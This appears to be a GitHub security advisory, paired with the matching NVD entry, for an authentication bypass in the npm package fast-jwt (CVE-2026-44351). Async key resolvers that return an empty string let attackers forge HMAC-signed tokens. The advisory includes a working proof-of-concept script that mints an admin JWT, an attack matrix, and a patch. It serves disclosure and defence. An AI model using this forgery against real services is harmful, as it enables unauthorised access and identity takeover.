{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.2.3"
      },
      "package": {
        "ecosystem": "npm",
        "name": "fast-jwt"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.2.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44351"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1391",
      "CWE-287",
      "CWE-326"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-06T22:26:37Z",
    "nvd_published_at": "2026-05-13T20:16:22Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nA critical authentication-bypass vulnerability in `fast-jwt`\u0027s async key-resolver flow allows any unauthenticated attacker to forge arbitrary JWTs that are accepted as authentic. When the application\u0027s key resolver returns an empty string (`\u0027\u0027`), for example via the common `keys[decoded.header.kid] || \u0027\u0027` JWKS-style fallback, fast-jwt converts it to a zero-length `Buffer`, hands it to `crypto.createSecretKey`, derives `allowedAlgorithms = [\u0027HS256\u0027,\u0027HS384\u0027,\u0027HS512\u0027]` from it, and then verifies the token\u0027s signature against an empty-key HMAC. The attacker simply computes `HMAC-SHA256(key=\u0027\u0027, input=\u0027${header}.${payload}\u0027)`, which Node accepts without complaint \u2014 and the verifier returns the attacker-chosen payload (sub, admin, scopes, etc.) as authentic. Reproducible 100% against the current latest release `fast-jwt@6.2.3`.\n\n### Preconditions\n\nFor this issue to occur the following MUST ALL be true:\n\n1. The application developer (library consumer) uses an asynchronous callback function to set the key (e.g. `createVerifier({key: async (decoded) =\u003e ... })`)\n2. The response from the async callback MUST return an empty string `\u0027\u0027` OR zero-length buffer (e.g. `Buffer.alloc(0)`). Any other empty/missing return values (e.g. null, undefined) do not trigger this issue\n3. The library configuration must allow HMAC signatures. This is the default for the library.\n4. The bad actor MUST have signed their token with an empty string. This is a trivial task and requires no special knowledge.\n5. All other aspects of the token (e.g. EXP, IAT claims) MUST be valid. This issue ONLY affects signature checking and all other checks remain enforced.\n\n\n### Details\n\n`src/verifier.js` `prepareKeyOrSecret` (lines 33-39):\n\n```js\nfunction prepareKeyOrSecret(key, isSecret) {\n  if (typeof key === \u0027string\u0027) {\n    key = Buffer.from(key, \u0027utf-8\u0027)\n  }\n  return isSecret ? createSecretKey(key) : createPublicKey(key)   // \u2190 no length check\n}\n```\n\n`src/verifier.js` async key-resolver flow (lines 429-468):\n\n```js\ngetAsyncKey(key, { header, payload, signature }, (err, currentKey) =\u003e {\n  ...\n  if (typeof currentKey === \u0027string\u0027) {\n    currentKey = Buffer.from(currentKey, \u0027utf-8\u0027)   // \u0027\u0027 \u2192 Buffer.alloc(0)\n  } else if (!(currentKey instanceof Buffer)) {\n    return callback(... \u0027string or buffer\u0027...)\n  }\n\n  try {\n    const availableAlgorithms = detectPublicKeyAlgorithms(currentKey)\n    // detectPublicKeyAlgorithms(\u0027\u0027) hits the `!publicKeyPemMatch \u0026\u0026 !X509`\n    // branch \u2192 returns hsAlgorithms = [\u0027HS256\u0027,\u0027HS384\u0027,\u0027HS512\u0027]\n\n    if (validationContext.allowedAlgorithms.length) {\n      checkAreCompatibleAlgorithms(allowedAlgorithms, availableAlgorithms)\n    } else {\n      validationContext.allowedAlgorithms = availableAlgorithms   // default empty \u2192 HMAC family assigned\n    }\n\n    currentKey = prepareKeyOrSecret(currentKey, availableAlgorithms[0] === hsAlgorithms[0])\n    // \u2192 createSecretKey(Buffer.alloc(0)) \u2014 Node accepts the empty secret silently\n    verifyToken(currentKey, decoded, validationContext)\n  }\n})\n```\n\n`src/crypto.js` `verifySignature` (lines 286-291):\n\n```js\nif (type === \u0027HS\u0027) {\n  try {\n    return timingSafeEqual(createHmac(alg, key).update(input).digest(), signature)\n  } catch { return false }\n}\n```\n\n`crypto.createHmac(\u0027sha256\u0027, emptyKey)` works. The HMAC of `${header}.${payload}` is fully attacker-computable. `timingSafeEqual` returns true. The verifier returns the attacker\u0027s payload as authentic.\n\nThe bug exists *only* on the function-typed key resolver path. The synchronous `key: \u0027\u0027 | undefined | null` configuration is correctly rejected at `createVerifier` setup because `if (key \u0026\u0026 keyType !== \u0027function\u0027)` short-circuits on falsy keys, and `verify` then throws `MISSING_KEY` when a token with a signature arrives. In contrast, the async-resolver path **does** allow `\u0027\u0027` to flow through.\n\n### PoC\n\n```js\n// package.json: { \"type\": \"module\" }\n// npm i fast-jwt\nimport { createVerifier } from \u0027fast-jwt\u0027\nimport * as crypto from \u0027node:crypto\u0027\n\nfunction b64url(buf) {\n  return Buffer.from(buf).toString(\u0027base64\u0027)\n    .replace(/=+$/, \u0027\u0027).replace(/\\+/g, \u0027-\u0027).replace(/\\//g, \u0027_\u0027)\n}\n\n// Forge a JWT signed with HMAC-SHA256 over an EMPTY key.\nconst header = b64url(JSON.stringify({ alg: \u0027HS256\u0027, typ: \u0027JWT\u0027, kid: \u0027unknown-kid\u0027 }))\nconst payload = b64url(JSON.stringify({\n  sub: \u0027attacker\u0027, admin: true,\n  iat: Math.floor(Date.now() / 1000),\n  exp: Math.floor(Date.now() / 1000) + 60\n}))\nconst input = `${header}.${payload}`\nconst signature = b64url(crypto.createHmac(\u0027sha256\u0027, \u0027\u0027).update(input).digest())\nconst forgedToken = `${input}.${signature}`\n\n// Realistic JWKS-style verifier - looks up kid in a key map and falls back\n// to \u0027\u0027 when the kid is unknown (a widely-used JS idiom).\nconst verifier = createVerifier({\n  key: async (decoded) =\u003e ({ \u0027real-kid\u0027: \u0027\u003creal key\u003e\u0027 }[decoded.header.kid] || \u0027\u0027)\n})\n\nconsole.log(await verifier(forgedToken))\n```\n\nOutput on `fast-jwt@6.2.3`:\n\n```\n{ sub: \u0027attacker\u0027, admin: true, iat: 1777372426, exp: 1777372486 }\n```\n\n\u2014 the attacker-chosen payload is returned as authentic.\n\nAttack matrix verified against `fast-jwt@6.2.3`:\n\n| Resolver shape | `algorithms` option | HS256 | HS384 | HS512 |\n|---|---|---|---|---|\n| `async () =\u003e \u0027\u0027` | (default) | \u2705 accept | \u2705 accept | \u2705 accept |\n| `(d, cb) =\u003e cb(null, \u0027\u0027)` | (default) | \u2705 accept | \u2705 accept | \u2705 accept |\n| `async d =\u003e keys[d.header.kid] \\|\\| \u0027\u0027` | (default) | \u2705 accept | \u2705 accept | \u2705 accept |\n| `async () =\u003e \u0027\u0027` | `[\u0027HS256\u0027,\u0027HS384\u0027,\u0027HS512\u0027]` | \u2705 accept | \u2705 accept | \u2705 accept |\n| `async () =\u003e \u0027\u0027` | `[\u0027HS256\u0027,\u0027RS256\u0027]` | \u2705 accept | INVALID_ALG | INVALID_ALG |\n| `async () =\u003e \u0027\u0027` | `[\u0027RS256\u0027]` | INVALID_KEY | INVALID_KEY | INVALID_KEY |\n\nThe bug is *only* not triggered when the caller has explicitly restricted `algorithms` to a family incompatible with the empty key\u0027s detected `hsAlgorithms`.\n\nSense checks (also verified against `fast-jwt@6.2.3` to rule out my harness):\n\n- A token signed with the *real* secret continues to verify correctly. \u2192 ACCEPTED.\n- A forged-empty-key token sent to a verifier whose resolver returns the *real* secret is rejected. \u2192 INVALID_SIGNATURE.\n- The synchronous `key: \u0027\u0027` (string) configuration is correctly rejected. \u2192 MISSING_KEY.\n\n### Impact\n\nWho is impacted: every Node.js application that uses fast-jwt with a function-typed `key` resolver, the standard JWKS pattern fast-jwt\u0027s own README documents, *and* whose resolver can ever return `\u0027\u0027` or a zero-length `Buffer` (for unknown kid, missing env var, DB miss, exhausted cache, etc.). The trigger pattern `keys[decoded.header.kid] || \u0027\u0027` is widely used in JS code and AI-generated examples.\n\nConcrete attacker capabilities:\n\n1. **Mint arbitrary JWTs** with attacker-chosen `sub`, `admin`, `roles`, `scopes`, `iss`, `aud`, etc.\n2. **Full identity assumption** \u2014 any application that trusts JWT claims for authorisation grants the attacker whatever role they put in the token.\n3. **Default-config exploitable** \u2014 the caller does not need to misconfigure `algorithms`. With the default empty array, fast-jwt itself assigns `[\u0027HS256\u0027,\u0027HS384\u0027,\u0027HS512\u0027]` when it sees an empty key.\n4. **Cache amplification** \u2014 once a forged token is accepted, fast-jwt caches the verification result (default cache size 1000). Subsequent requests skip verification entirely; even a later runtime fix to the resolver would not invalidate the cached forgery within its TTL.\n\nThe trigger is unauthenticated, network-reachable, and trivially scriptable, the forged token is just three base64url segments concatenated with dots.\n\n### Suggested fix\n\nReject zero-length HMAC secrets in `prepareKeyOrSecret`:\n\n```diff\n function prepareKeyOrSecret(key, isSecret) {\n   if (typeof key === \u0027string\u0027) {\n     key = Buffer.from(key, \u0027utf-8\u0027)\n   }\n+\n+  if (isSecret \u0026\u0026 (!key || key.length === 0)) {\n+    throw new TokenError(TokenError.codes.invalidKey, \u0027HMAC secret key must not be empty.\u0027)\n+  }\n+\n   return isSecret ? createSecretKey(key) : createPublicKey(key)\n }\n```\n\nThis patch in-place was verified against the same PoC and against the full attack matrix: every one of the 18 vulnerable cells now rejects with `FAST_JWT_INVALID_KEY`, while valid-token verification, valid-secret verification, and the synchronous `key: \u0027\u0027` rejection path are unaffected.\n\nFor defence in depth, the maintainer may also want to enforce RFC 2104\u0027s recommended minimum HMAC key length (\u2265 output size of the hash, 32 bytes for HS256, 48 for HS384, 64 for HS512), gated behind a `strictMode` flag if backwards compatibility with shorter-but-valid secrets is needed. The empty-key check above is the minimum fix that closes the auth-bypass primitive.",
  "id": "GHSA-gmvf-9v4p-v8jc",
  "modified": "2026-05-14T20:42:20Z",
  "published": "2026-05-06T22:26:37Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nearform/fast-jwt/security/advisories/GHSA-gmvf-9v4p-v8jc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44351"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nearform/fast-jwt"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "fast-jwt: JWT auth bypass due to empty HMAC secret accepted by async key resolver"
}

{
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "fast-jwt provides fast JSON Web Token (JWT) implementation. Prior to 6.2.4, a critical authentication-bypass vulnerability in fast-jwt\u0027s async key-resolver flow allows any unauthenticated attacker to forge arbitrary JWTs that are accepted as authentic. When the application\u0027s key resolver returns an empty string (\u0027\u0027), for example via the common keys[decoded.header.kid] || \u0027\u0027 JWKS-style fallback, fast-jwt converts it to a zero-length Buffer, hands it to crypto.createSecretKey, derives allowedAlgorithms = [\u0027HS256\u0027,\u0027HS384\u0027,\u0027HS512\u0027] from it, and then verifies the token\u0027s signature against an empty-key HMAC. The attacker simply computes HMAC-SHA256(key=\u0027\u0027, input=\u0027${header}.${payload}\u0027), which Node accepts without complaint \u2014 and the verifier returns the attacker-chosen payload (sub, admin, scopes, etc.) as authentic. This vulnerability is fixed in 6.2.4."
    }
  ],
  "id": "CVE-2026-44351",
  "lastModified": "2026-05-14T19:16:37.050",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 9.1,
          "baseSeverity": "CRITICAL",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 5.2,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-05-13T20:16:22.860",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/nearform/fast-jwt/security/advisories/GHSA-gmvf-9v4p-v8jc"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/nearform/fast-jwt/security/advisories/GHSA-gmvf-9v4p-v8jc"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-287"
        },
        {
          "lang": "en",
          "value": "CWE-326"
        },
        {
          "lang": "en",
          "value": "CWE-1391"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}